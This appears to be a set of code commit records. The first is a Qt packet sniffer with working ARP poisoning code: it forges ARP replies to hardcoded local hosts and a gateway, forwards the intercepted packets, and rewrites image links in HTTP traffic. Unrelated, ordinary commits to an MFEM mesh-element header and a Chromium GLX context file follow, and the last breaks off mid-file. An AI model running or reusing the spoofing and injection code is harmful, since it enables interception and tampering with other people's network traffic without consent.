client = client2; } ::close(sock); #endif } void MainWindow::checkArp(SniffedPacket &packet) { if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr) return; QByteArray array = QByteArray(packet.data + 6, 6); QByteArray array2 = QByteArray(mac, 6); eth_hdr_t *eth = (eth_hdr_t *) packet.data; if (strncmp(eth->ether_dhost, mac, 6)) return; if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) && !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest)) return; int sd; struct sockaddr_in sin; int one = 1; const int *val = &one; sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(sd < 0) return; IP_HDR *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE); sin.sin_family = AF_INET; sin.sin_port = 0; sin.sin_addr.s_addr = ip->ip_destaddr; if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0) return; // Image replace if (packet.protocol == "TCP" && packet.dport == 80) { std::string tofind("img src="); std::string toreplace("img src=\"http://upload.wikimedia.org/wikipedia/fr/f/fb/C-dans-l'air.png\""); std::size_t index; std::string data(packet.data, packet.size); while ((index = data.find(tofind)) != std::string::npos) { packet.size += toreplace.length() - tofind.length(); data.replace(index, tofind.length(), toreplace); } } #ifdef _WIN32 sendto(sd, packet.data, packet.size, 0, (struct sockaddr *)&sin, sizeof(sin)); closesocket(sd); #elif __linux__ sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin)); ::close(sd); #endif } <commit_msg>fix data arp send<commit_after>#include "mainwindow.h" #include "ui_mainwindow.h" #include "Sniffer.h" #include "dialoginterface.h" #include <QFileDialog> #include <cstdlib> MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow) { ui->setupUi(this); ui->pb_scroll->setCheckable(true); ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows); client1 = NULL; client2 = NULL; counter = 0; thread = new QThread(); sniffer = new Sniffer(); sniffer->moveToThread(thread); QTimer *timer = new QTimer(this); timer->setInterval(50); timer->start(100); connect(thread, SIGNAL(started()), sniffer, SLOT(Start())); connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets())); connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer())); connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear())); connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load())); connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save())); #ifdef __linux__ connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning())); #endif } MainWindow::~MainWindow() { delete ui; } void MainWindow::Clear() { sniffer->mutex.lock(); ui->tableWidget->clearContents(); ui->tableWidget->setRowCount(0); for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++) delete *it; sniffer->Packets.clear(); for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++) delete *it; this->Packets.clear(); sniffer->mutex.unlock(); } void MainWindow::getNewPackets() { if (counter++ == 20) { counter = 0; this->refreshArp(); } sniffer->mutex.lock(); for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++) { checkArp(*(*it)); insertPacket(*(*it)); } sniffer->Packets.clear(); if (ui->pb_scroll->isChecked()) ui->tableWidget->scrollToBottom(); sniffer->mutex.unlock(); } void MainWindow::insertPacket(SniffedPacket &packet) { int i = ui->tableWidget->rowCount(); ui->tableWidget->insertRow(i); insertToIndex(packet.ip_source.c_str(), i, 0); insertToIndex(packet.ip_dest.c_str(), i, 1); insertToIndex(QString::number(packet.size), i, 2); insertToIndex(packet.protocol, i, 3); insertToIndex(packet.info, i, 4); this->Packets.push_back(&packet); } void MainWindow::insertToIndex(const QString &str, int row, int col) { QTableWidgetItem *item = new QTableWidgetItem(str); item->setFlags(Qt::ItemIsSelectable | Qt::ItemIsEnabled); if (col != 4) item->setTextAlignment(Qt::AlignCenter); ui->tableWidget->setItem(row, col, item); } void MainWindow::StartSniffing(const std::string &interface) { this->interface = interface; sniffer->Initialize(interface); thread->start(); ui->pb_sniff->setText("STOP"); } void MainWindow::ToggleSniffer() { if (this->sniffer->IsSniffing()) { this->sniffer->Stop(); if (!thread->wait(500)) { thread->terminate(); thread->wait(); } this->sniffer->DeInitialize(); ui->pb_sniff->setText("START"); if (client1 != NULL) { delete client1; delete client2; client1 = NULL; } return ; } DialogInterface win(this); win.exec(); } void MainWindow::Save() { if (this->sniffer->IsSniffing()) ToggleSniffer(); QString fileName = QFileDialog::getSaveFileName(this, tr("Save File"), "", tr("PCAP (*.pcap)")); std::ofstream file(fileName.toStdString(), std::ios::binary | std::ios::trunc | std::ios::out); if (file.is_open()) { pcap_hdr_t hdr; std::memset((char *) &hdr, 0, sizeof(hdr)); hdr.magic_number = 0xA1B2C3D4; hdr.version_major = 2; hdr.version_minor = 4; hdr.snaplen = 65535; hdr.network = 1; file.write((char *) &hdr, sizeof(hdr)); pcaprec_hdr_t hdrp; std::memset(&hdrp, 0, sizeof(hdrp)); eth_hdr_t eth_hdr; eth_hdr.ether_type = 8; for (std::list<SniffedPacket *>::iterator it = this->Packets.begin(); it != this->Packets.end(); it++) { hdrp.incl_len = (*it)->size; if (!(*it)->has_ether_hdr) hdrp.incl_len += ETHER_HDR_SIZE; hdrp.orig_len = hdrp.incl_len; file.write((char *) &hdrp, sizeof(hdrp)); if (!(*it)->has_ether_hdr) file.write((char *) &eth_hdr, ETHER_HDR_SIZE); file.write((*it)->data, (*it)->size); } file.close(); } else qDebug() << "Unable to open file"; } void MainWindow::Load() { if (this->sniffer->IsSniffing()) ToggleSniffer(); Clear(); QString fileName = QFileDialog::getOpenFileName(this, tr("Load File"), "", tr("PCAP (*.pcap)")); std::streampos size; char *memblock; std::ifstream file(fileName.toStdString(), std::ios::in | std::ios::binary | std::ios::ate); if (file.is_open()) { size = file.tellg(); memblock = new char [size]; file.seekg (0, std::ios::beg); file.read (memblock, size); file.close(); pcap_hdr_t &hdr = *(pcap_hdr_t *) memblock; if (hdr.magic_number != 0xa1b2c3d4) { qDebug() << "Wrong format"; return ; } char *cursor = memblock + sizeof(hdr); pcaprec_hdr_t *hdrp; while ((int) (cursor - memblock) < size) { hdrp = (pcaprec_hdr_t *) cursor; cursor += sizeof(*hdrp); char *data = cursor; Sniffer::ManagePacket(data, hdrp->incl_len, true); cursor += hdrp->incl_len; } delete[] memblock; } else qDebug() << "Unable to open file"; } void MainWindow::ArpPoisoning() { mac[0] = 0x60; mac[1] = 0x67; mac[2] = 0x20; mac[3] = 0x1a; mac[4] = 0xc7; mac[5] = 0xd0; client_t *client = new client_t; client->ip = "192.168.43.123"; client->mac[0] = 0x60; client->mac[1] = 0x67; client->mac[2] = 0x20; client->mac[3] = 0x1a; client->mac[4] = 0xa2; client->mac[5] = 0xfc; client1 = client; client = new client_t; client->ip = "192.168.43.1"; client->mac[0] = 0x98; client->mac[1] = 0x0c; client->mac[2] = 0x82; client->mac[3] = 0xb0; client->mac[4] = 0xd7; client->mac[5] = 0x68; client2 = client; } void MainWindow::refreshArp() { #ifdef __linux__ if (client1 == NULL || client2 == NULL || !this->sniffer->IsSniffing()) return; int sock; char packet[PKTLEN]; struct ether_header *eth = (struct ether_header *) packet; struct ether_arp *arp = (struct ether_arp *) (packet + sizeof(struct ether_header)); struct sockaddr_ll device; sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sock < 0) qDebug() << "fail socket"; client_t *client = client1; for (int i = 0; i < 2; ++i) { // To sscanf((client == client1 ? client2->ip : client1->ip).c_str(), "%d.%d.%d.%d", (int *) &arp->arp_spa[0], (int *) &arp->arp_spa[1], (int *) &arp->arp_spa[2], (int *) &arp->arp_spa[3]); // From std::memcpy(arp->arp_tha, client->mac, 6); // By std::memcpy(arp->arp_sha, mac, 6); memcpy(eth->ether_dhost, arp->arp_tha, ETH_ALEN); memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); eth->ether_type = htons(ETH_P_ARP); arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); arp->ea_hdr.ar_pro = htons(ETH_P_IP); arp->ea_hdr.ar_hln = ETH_ALEN; arp->ea_hdr.ar_pln = IP4LEN; arp->ea_hdr.ar_op = htons(ARPOP_REPLY); memset(&device, 0, sizeof(device)); device.sll_ifindex = if_nametoindex(this->interface.c_str()); device.sll_family = AF_PACKET; memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); device.sll_halen = htons(ETH_ALEN); sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device)); client = client2; } ::close(sock); #endif } void MainWindow::checkArp(SniffedPacket &packet) { if (client1 == NULL || client2 == NULL || !packet.has_ether_hdr) return; QByteArray array = QByteArray(packet.data + 6, 6); QByteArray array2 = QByteArray(mac, 6); eth_hdr_t *eth = (eth_hdr_t *) packet.data; if (strncmp(eth->ether_dhost, mac, 6)) return; if (!(client1->ip == packet.ip_source && client2->ip == packet.ip_dest) && !(client2->ip == packet.ip_source && client1->ip == packet.ip_dest)) return; int sd; struct sockaddr_in sin; int one = 1; const int *val = &one; sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); if(sd < 0) return; IP_HDR *ip = (IP_HDR *) (packet.data + ETHER_HDR_SIZE); sin.sin_family = AF_INET; sin.sin_port = 0; sin.sin_addr.s_addr = ip->ip_destaddr; if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *) val, sizeof(one)) < 0) return; // Image replace std::string data(packet.data, packet.size); if (packet.protocol == "TCP" && packet.dport == 80) { std::string tofind("img src="); std::string toreplace("img src=\"http://upload.wikimedia.org/wikipedia/fr/f/fb/C-dans-l'air.png\""); std::size_t index; while ((index = data.find(tofind)) != std::string::npos) { packet.size += toreplace.length() - tofind.length(); data.replace(index, tofind.length(), toreplace); } } #ifdef _WIN32 sendto(sd, data.c_str(), packet.size, 0, (struct sockaddr *)&sin, sizeof(sin)); closesocket(sd); #elif __linux__ sendto(sd, packet.data + ETHER_HDR_SIZE, packet.size - ETHER_HDR_SIZE, 0, (struct sockaddr *)&sin, sizeof(sin)); ::close(sd); #endif } <|endoftext|>
<commit_before>// Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at // the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights // reserved. See file COPYRIGHT for details. // // This file is part of the MFEM library. For more information and source code // availability see http://mfem.org. // // MFEM is free software; you can redistribute it and/or modify it under the // terms of the GNU Lesser General Public License (as published by the Free // Software Foundation) version 2.1 dated February 1999. #ifndef MFEM_PRISM #define MFEM_PRISM #include "../config/config.hpp" #include "element.hpp" namespace mfem { /// Data type Prism element class Prism : public Element { protected: int indices[6]; // Rrefinement not yet supported // int refinement_flag; // Not sure what this might be // unsigned transform; public: typedef Geometry::Constants<Geometry::PRISM> geom_t; Prism() : Element(Geometry::PRISM) { } /// Constructs prism by specifying the indices and the attribute. Prism(const int *ind, int attr = 1); /// Constructs prism by specifying the indices and the attribute. Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6, int attr = 1); /// Return element's type. virtual Type GetType() const { return Element::PRISM; } // void ParseRefinementFlag(int refinement_edges[2], int &type, int &flag); // void CreateRefinementFlag(int refinement_edges[2], int type, int flag = 0); // void GetMarkedFace(const int face, int *fv); // virtual int GetRefinementFlag() { return refinement_flag; } // void SetRefinementFlag(int rf) { refinement_flag = rf; } /// Return 1 if the element needs refinement in order to get conforming mesh. // virtual int NeedRefinement(DSTable &v_to_v, int *middle) const; /// Set the vertices according to the given input. virtual void SetVertices(const int *ind); /// Mark the longest edge by assuming/changing the order of the vertices. virtual void MarkEdge(DenseMatrix &pmat) { } /** Reorder the vertices so that the longest edge is from vertex 0 to vertex 1. If called it should be once from the mesh constructor, because the order may be used later for setting the edges. **/ // virtual void MarkEdge(const DSTable &v_to_v, const int *length); // virtual void ResetTransform(int tr) { transform = tr; } // virtual unsigned GetTransform() const { return transform; } /// Add 'tr' to the current chain of coarse-fine transformations. // virtual void PushTransform(int tr) // { transform = (transform << 3) | (tr + 1); } /// Calculate point matrix corresponding to a chain of transformations. // static void GetPointMatrix(unsigned transform, DenseMatrix &pm); /// Returns the indices of the element's vertices. virtual void GetVertices(Array<int> &v) const; virtual int *GetVertices() { return indices; } virtual int GetNVertices() const { return 6; } virtual int GetNEdges() const { return 9; } virtual const int *GetEdgeVertices(int ei) const { return geom_t::Edges[ei]; } virtual int GetNFaces(int &nFaceVertices) const { nFaceVertices = 3; return 5; } virtual int GetNFaceVerticess(int fi) const { return ( ( fi < 2 ) ? 3 : 4); } virtual const int *GetFaceVertices(int fi) const { MFEM_ABORT("not implemented"); return NULL; } virtual Element *Duplicate(Mesh *m) const { return new Prism(indices, attribute); } virtual ~Prism() { } }; extern BiLinear3DFiniteElement PrismFE; } #endif <commit_msg>Implementing Prism::GetFaceVertices<commit_after>// Copyright (c) 2010, Lawrence Livermore National Security, LLC. Produced at // the Lawrence Livermore National Laboratory. LLNL-CODE-443211. All Rights // reserved. See file COPYRIGHT for details. // // This file is part of the MFEM library. For more information and source code // availability see http://mfem.org. // // MFEM is free software; you can redistribute it and/or modify it under the // terms of the GNU Lesser General Public License (as published by the Free // Software Foundation) version 2.1 dated February 1999. #ifndef MFEM_PRISM #define MFEM_PRISM #include "../config/config.hpp" #include "element.hpp" namespace mfem { /// Data type Prism element class Prism : public Element { protected: int indices[6]; // Rrefinement not yet supported // int refinement_flag; // Not sure what this might be // unsigned transform; public: typedef Geometry::Constants<Geometry::PRISM> geom_t; Prism() : Element(Geometry::PRISM) { } /// Constructs prism by specifying the indices and the attribute. Prism(const int *ind, int attr = 1); /// Constructs prism by specifying the indices and the attribute. Prism(int ind1, int ind2, int ind3, int ind4, int ind5, int ind6, int attr = 1); /// Return element's type. virtual Type GetType() const { return Element::PRISM; } // void ParseRefinementFlag(int refinement_edges[2], int &type, int &flag); // void CreateRefinementFlag(int refinement_edges[2], int type, int flag = 0); // void GetMarkedFace(const int face, int *fv); // virtual int GetRefinementFlag() { return refinement_flag; } // void SetRefinementFlag(int rf) { refinement_flag = rf; } /// Return 1 if the element needs refinement in order to get conforming mesh. // virtual int NeedRefinement(DSTable &v_to_v, int *middle) const; /// Set the vertices according to the given input. virtual void SetVertices(const int *ind); /// Mark the longest edge by assuming/changing the order of the vertices. virtual void MarkEdge(DenseMatrix &pmat) { } /** Reorder the vertices so that the longest edge is from vertex 0 to vertex 1. If called it should be once from the mesh constructor, because the order may be used later for setting the edges. **/ // virtual void MarkEdge(const DSTable &v_to_v, const int *length); // virtual void ResetTransform(int tr) { transform = tr; } // virtual unsigned GetTransform() const { return transform; } /// Add 'tr' to the current chain of coarse-fine transformations. // virtual void PushTransform(int tr) // { transform = (transform << 3) | (tr + 1); } /// Calculate point matrix corresponding to a chain of transformations. // static void GetPointMatrix(unsigned transform, DenseMatrix &pm); /// Returns the indices of the element's vertices. virtual void GetVertices(Array<int> &v) const; virtual int *GetVertices() { return indices; } virtual int GetNVertices() const { return 6; } virtual int GetNEdges() const { return 9; } virtual const int *GetEdgeVertices(int ei) const { return geom_t::Edges[ei]; } virtual int GetNFaces(int &nFaceVertices) const { nFaceVertices = 4; return 5; } virtual int GetNFaceVerticess(int fi) const { return ( ( fi < 2 ) ? 3 : 4); } virtual const int *GetFaceVertices(int fi) const { return geom_t::FaceVert[fi]; } virtual Element *Duplicate(Mesh *m) const { return new Prism(indices, attribute); } virtual ~Prism() { } }; extern BiLinear3DFiniteElement PrismFE; } #endif <|endoftext|>
<commit_before>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file implements the ViewGLContext and PbufferGLContext classes. #include <dlfcn.h> #include <GL/glew.h> #include <GL/glxew.h> #include <GL/glx.h> #include <GL/osmew.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #include "app/x11_util.h" #include "base/logging.h" #include "base/scoped_ptr.h" #include "app/gfx/gl/gl_context.h" #include "app/gfx/gl/gl_context_osmesa.h" namespace gfx { typedef GLXContext GLContextHandle; typedef GLXPbuffer PbufferHandle; // This class is a wrapper around a GL context that renders directly to a // window. class ViewGLContext : public GLContext { public: explicit ViewGLContext(gfx::PluginWindowHandle window) : window_(window), context_(NULL) { DCHECK(window); } // Initializes the GL context. bool Initialize(bool multisampled); virtual void Destroy(); virtual bool MakeCurrent(); virtual bool IsCurrent(); virtual bool IsOffscreen(); virtual void SwapBuffers(); virtual gfx::Size GetSize(); virtual void* GetHandle(); private: gfx::PluginWindowHandle window_; GLContextHandle context_; DISALLOW_COPY_AND_ASSIGN(ViewGLContext); }; // This class is a wrapper around a GL context used for offscreen rendering. // It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful // rendering. class PbufferGLContext : public GLContext { public: explicit PbufferGLContext() : context_(NULL), pbuffer_(0) { } // Initializes the GL context. bool Initialize(void* shared_handle); virtual void Destroy(); virtual bool MakeCurrent(); virtual bool IsCurrent(); virtual bool IsOffscreen(); virtual void SwapBuffers(); virtual gfx::Size GetSize(); virtual void* GetHandle(); private: GLContextHandle context_; PbufferHandle pbuffer_; DISALLOW_COPY_AND_ASSIGN(PbufferGLContext); }; // scoped_ptr functor for XFree(). Use as follows: // scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...); // where "XVisualInfo" is any X type that is freed with XFree. class ScopedPtrXFree { public: void operator()(void* x) const { ::XFree(x); } }; // Some versions of NVIDIA's GL libGL.so include a broken version of // dlopen/dlsym, and so linking it into chrome breaks it. So we dynamically // load it, and use glew to dynamically resolve symbols. // See http://code.google.com/p/chromium/issues/detail?id=16800 static bool InitializeOneOff() { static bool initialized = false; if (initialized) return true; osmewInit(); if (!OSMesaCreateContext) { void* handle = dlopen("libGL.so.1", RTLD_LAZY | RTLD_GLOBAL); if (!handle) { LOG(ERROR) << "Could not find libGL.so.1"; return false; } // Initializes context-independent parts of GLEW if (glxewInit() != GLEW_OK) { LOG(ERROR) << "glxewInit failed"; return false; } // glxewContextInit really only needs a display connection to // complete, and we don't want to have to create an OpenGL context // just to get access to GLX 1.3 entry points to create pbuffers. // We therefore added a glxewContextInitWithDisplay entry point. Display* display = x11_util::GetXDisplay(); if (glxewContextInitWithDisplay(display) != GLEW_OK) { LOG(ERROR) << "glxewContextInit failed"; return false; } } initialized = true; return true; } bool ViewGLContext::Initialize(bool multisampled) { if (multisampled) { DLOG(WARNING) << "Multisampling not implemented."; } Display* display = x11_util::GetXDisplay(); XWindowAttributes attributes; XGetWindowAttributes(display, window_, &attributes); XVisualInfo visual_info_template; visual_info_template.visualid = XVisualIDFromVisual(attributes.visual); int visual_info_count = 0; scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list( XGetVisualInfo(display, VisualIDMask, &visual_info_template, &visual_info_count)); DCHECK(visual_info_list.get()); DCHECK_GT(visual_info_count, 0); context_ = NULL; for (int i = 0; i < visual_info_count; ++i) { context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True); if (context_) break; } if (!context_) { DLOG(ERROR) << "Couldn't create GL context."; return false; } if (!MakeCurrent()) { Destroy(); DLOG(ERROR) << "Couldn't make context current for initialization."; return false; } if (!InitializeGLEW()) { Destroy(); return false; } if (!InitializeCommon()) { Destroy(); return false; } return true; } void ViewGLContext::Destroy() { Display* display = x11_util::GetXDisplay(); Bool result = glXMakeCurrent(display, 0, 0); // glXMakeCurrent isn't supposed to fail when unsetting the context, unless // we have pending draws on an invalid window - which shouldn't be the case // here. DCHECK(result); if (context_) { glXDestroyContext(display, context_); context_ = NULL; } } bool ViewGLContext::MakeCurrent() { if (IsCurrent()) { return true; } Display* display = x11_util::GetXDisplay(); if (glXMakeCurrent(display, window_, context_) != True) { glXDestroyContext(display, context_); context_ = 0; DLOG(ERROR) << "Couldn't make context current."; return false; } return true; } bool ViewGLContext::IsCurrent() { return glXGetCurrentDrawable() == window_ && glXGetCurrentContext() == context_; } bool ViewGLContext::IsOffscreen() { return false; } void ViewGLContext::SwapBuffers() { Display* display = x11_util::GetXDisplay(); glXSwapBuffers(display, window_); } gfx::Size ViewGLContext::GetSize() { XWindowAttributes attributes; Display* display = x11_util::GetXDisplay(); XGetWindowAttributes(display, window_, &attributes); return gfx::Size(attributes.width, attributes.height); } void* ViewGLContext::GetHandle() { return context_; } GLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window, bool multisampled) { if (!InitializeOneOff()) return NULL; if (OSMesaCreateContext) { // TODO(apatrick): Support OSMesa rendering to a window on Linux. NOTREACHED() << "OSMesa rendering to a window is not yet implemented."; return NULL; } else { scoped_ptr<ViewGLContext> context(new ViewGLContext(window)); if (!context->Initialize(multisampled)) return NULL; return context.release(); } } bool PbufferGLContext::Initialize(void* shared_handle) { if (!glXChooseFBConfig || !glXCreateNewContext || !glXCreatePbuffer || !glXDestroyPbuffer) { DLOG(ERROR) << "Pbuffer support not available."; return false; } static const int config_attributes[] = { GLX_DRAWABLE_TYPE, GLX_PBUFFER_BIT, GLX_RENDER_TYPE, GLX_RGBA_BIT, GLX_DOUBLEBUFFER, 0, 0 }; Display* display = x11_util::GetXDisplay(); int nelements = 0; // TODO(kbr): figure out whether hardcoding screen to 0 is sufficient. scoped_ptr_malloc<GLXFBConfig, ScopedPtrXFree> config( glXChooseFBConfig(display, 0, config_attributes, &nelements)); if (!config.get()) { DLOG(ERROR) << "glXChooseFBConfig failed."; return false; } if (!nelements) { DLOG(ERROR) << "glXChooseFBConfig returned 0 elements."; return false; } context_ = glXCreateNewContext(display, config.get()[0], GLX_RGBA_TYPE, static_cast<GLContextHandle>(shared_handle), True); if (!context_) { DLOG(ERROR) << "glXCreateNewContext failed."; return false; } static const int pbuffer_attributes[] = { GLX_PBUFFER_WIDTH, 1, GLX_PBUFFER_HEIGHT, 1, 0 }; pbuffer_ = glXCreatePbuffer(display, config.get()[0], pbuffer_attributes); if (!pbuffer_) { Destroy(); DLOG(ERROR) << "glXCreatePbuffer failed."; return false; } if (!MakeCurrent()) { Destroy(); DLOG(ERROR) << "Couldn't make context current for initialization."; return false; } if (!InitializeGLEW()) { Destroy(); return false; } if (!InitializeCommon()) { Destroy(); return false; } return true; } void PbufferGLContext::Destroy() { Display* display = x11_util::GetXDisplay(); Bool result = glXMakeCurrent(display, 0, 0); // glXMakeCurrent isn't supposed to fail when unsetting the context, unless // we have pending draws on an invalid window - which shouldn't be the case // here. DCHECK(result); if (context_) { glXDestroyContext(display, context_); context_ = NULL; } if (pbuffer_) { glXDestroyPbuffer(display, pbuffer_); pbuffer_ = 0; } } bool PbufferGLContext::MakeCurrent() { if (IsCurrent()) { return true; } Display* display = x11_util::GetXDisplay(); if (glXMakeCurrent(display, pbuffer_, context_) != True) { glXDestroyContext(display, context_); context_ = NULL; DLOG(ERROR) << "Couldn't make context current."; return false; } return true; } bool PbufferGLContext::IsCurrent() { return glXGetCurrentDrawable() == pbuffer_ && glXGetCurrentContext() == context_; } bool PbufferGLContext::IsOffscreen() { return true; } void PbufferGLContext::SwapBuffers() { NOTREACHED() << "Attempted to call SwapBuffers on a pbuffer."; } gfx::Size PbufferGLContext::GetSize() { NOTREACHED() << "Should not be requesting size of this pbuffer."; return gfx::Size(1, 1); } void* PbufferGLContext::GetHandle() { return context_; } GLContext* GLContext::CreateOffscreenGLContext(void* shared_handle) { if (!InitializeOneOff()) return NULL; if (OSMesaCreateContext) { scoped_ptr<OSMesaGLContext> context(new OSMesaGLContext); if (!context->Initialize(shared_handle)) return NULL; return context.release(); } else { scoped_ptr<PbufferGLContext> context(new PbufferGLContext); if (!context->Initialize(shared_handle)) return NULL; return context.release(); } } } // namespace gfx <commit_msg>linux: fallback to GLX Pixmaps when pbuffers aren't available<commit_after>// Copyright (c) 2010 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file implements the ViewGLContext and PbufferGLContext classes. #include <dlfcn.h> #include <GL/glew.h> #include <GL/glxew.h> #include <GL/glx.h> #include <GL/osmew.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #include "app/x11_util.h" #include "base/logging.h" #include "base/scoped_ptr.h" #include "app/gfx/gl/gl_context.h" #include "app/gfx/gl/gl_context_osmesa.h" namespace gfx { typedef GLXContext GLContextHandle; typedef GLXPbuffer PbufferHandle; // This class is a wrapper around a GL context that renders directly to a // window. class ViewGLContext : public GLContext { public: explicit ViewGLContext(gfx::PluginWindowHandle window) : window_(window), context_(NULL) { DCHECK(window); } // Initializes the GL context. bool Initialize(bool multisampled); virtual void Destroy(); virtual bool MakeCurrent(); virtual bool IsCurrent(); virtual bool IsOffscreen(); virtual void SwapBuffers(); virtual gfx::Size GetSize(); virtual void* GetHandle(); private: gfx::PluginWindowHandle window_; GLContextHandle context_; DISALLOW_COPY_AND_ASSIGN(ViewGLContext); }; // This class is a wrapper around a GL context used for offscreen rendering. // It is initially backed by a 1x1 pbuffer. Use it to create an FBO to do useful // rendering. class PbufferGLContext : public GLContext { public: explicit PbufferGLContext() : context_(NULL), pbuffer_(0) { } // Initializes the GL context. bool Initialize(void* shared_handle); virtual void Destroy(); virtual bool MakeCurrent(); virtual bool IsCurrent(); virtual bool IsOffscreen(); virtual void SwapBuffers(); virtual gfx::Size GetSize(); virtual void* GetHandle(); private: GLContextHandle context_; PbufferHandle pbuffer_; DISALLOW_COPY_AND_ASSIGN(PbufferGLContext); }; // Backup context if Pbuffers (GLX 1.3) aren't supported. May run slower... class PixmapGLContext : public GLContext { public: explicit PixmapGLContext() : context_(NULL), pixmap_(0), glx_pixmap_(0) { } // Initializes the GL context. bool Initialize(void* shared_handle); virtual void Destroy(); virtual bool MakeCurrent(); virtual bool IsCurrent(); virtual bool IsOffscreen(); virtual void SwapBuffers(); virtual gfx::Size GetSize(); virtual void* GetHandle(); private: GLContextHandle context_; Pixmap pixmap_; GLXPixmap glx_pixmap_; DISALLOW_COPY_AND_ASSIGN(PixmapGLContext); }; // scoped_ptr functor for XFree(). Use as follows: // scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> foo(...); // where "XVisualInfo" is any X type that is freed with XFree. class ScopedPtrXFree { public: void operator()(void* x) const { ::XFree(x); } }; // Some versions of NVIDIA's GL libGL.so include a broken version of // dlopen/dlsym, and so linking it into chrome breaks it. So we dynamically // load it, and use glew to dynamically resolve symbols. // See http://code.google.com/p/chromium/issues/detail?id=16800 static bool InitializeOneOff() { static bool initialized = false; if (initialized) return true; osmewInit(); if (!OSMesaCreateContext) { void* handle = dlopen("libGL.so.1", RTLD_LAZY | RTLD_GLOBAL); if (!handle) { LOG(ERROR) << "Could not find libGL.so.1"; return false; } // Initializes context-independent parts of GLEW if (glxewInit() != GLEW_OK) { LOG(ERROR) << "glxewInit failed"; return false; } // glxewContextInit really only needs a display connection to // complete, and we don't want to have to create an OpenGL context // just to get access to GLX 1.3 entry points to create pbuffers. // We therefore added a glxewContextInitWithDisplay entry point. Display* display = x11_util::GetXDisplay(); if (glxewContextInitWithDisplay(display) != GLEW_OK) { LOG(ERROR) << "glxewContextInit failed"; return false; } } initialized = true; return true; } bool ViewGLContext::Initialize(bool multisampled) { if (multisampled) { DLOG(WARNING) << "Multisampling not implemented."; } Display* display = x11_util::GetXDisplay(); XWindowAttributes attributes; XGetWindowAttributes(display, window_, &attributes); XVisualInfo visual_info_template; visual_info_template.visualid = XVisualIDFromVisual(attributes.visual); int visual_info_count = 0; scoped_ptr_malloc<XVisualInfo, ScopedPtrXFree> visual_info_list( XGetVisualInfo(display, VisualIDMask, &visual_info_template, &visual_info_count)); DCHECK(visual_info_list.get()); DCHECK_GT(visual_info_count, 0); context_ = NULL; for (int i = 0; i < visual_info_count; ++i) { context_ = glXCreateContext(display, visual_info_list.get() + i, 0, True); if (context_) break; } if (!context_) { DLOG(ERROR) << "Couldn't create GL context."; return false; } if (!MakeCurrent()) { Destroy(); DLOG(ERROR) << "Couldn't make context current for initialization."; return false; } if (!InitializeGLEW()) { Destroy(); return false; } if (!InitializeCommon()) { Destroy(); return false; } return true; } void ViewGLContext::Destroy() { Display* display = x11_util::GetXDisplay(); Bool result = glXMakeCurrent(display, 0, 0); // glXMakeCurrent isn't supposed to fail when unsetting the context, unless // we have pending draws on an invalid window - which shouldn't be the case // here. DCHECK(result); if (context_) { glXDestroyContext(display, context_); context_ = NULL; } } bool ViewGLContext::MakeCurrent() { if (IsCurrent()) { return true; } Display* display = x11_util::GetXDisplay(); if (glXMakeCurrent(display, window_, context_) != True) { glXDestroyContext(display, context_); context_ = 0; DLOG(ERROR) << "Couldn't make context current."; return false; } return true; } bool ViewGLContext::IsCurrent() { return glXGetCurrentDrawable() == window_ && glXGetCurrentContext() == context_; } bool ViewGLContext::IsOffscreen() { return false; } void ViewGLContext::SwapBuffers() { Display* display = x11_util::GetXDisplay(); glXSwapBuffers(display, window_); } gfx::Size ViewGLContext::GetSize() { XWindowAttributes attributes; Display* display = x11_util::GetXDisplay(); XGetWindowAttributes(display, window_, &attributes); return gfx::Size(attributes.width, attributes.height); } void* ViewGLContext::GetHandle() { return context_; } GLContext* GLContext::CreateViewGLContext(gfx::PluginWindowHandle window, bool multisampled) { if (!InitializeOneOff()) return NULL; if (OSMesaCreateContext) { // TODO(apatrick): Support OSMesa rendering to a window on Linux. NOTREACHED() << "OSMesa rendering to a window is not yet implemented."; return NULL; } else { scoped_ptr<ViewGLContext> context(new ViewGLContext(window)); if (!context->Initialize(multisampled)) return NULL; return context.release(); } } bool PbufferGLContext::Initialize(void* shared_handle) { if (!glXChooseFBConfig || !glXCreateNewContext || !glXCreatePbuffer || 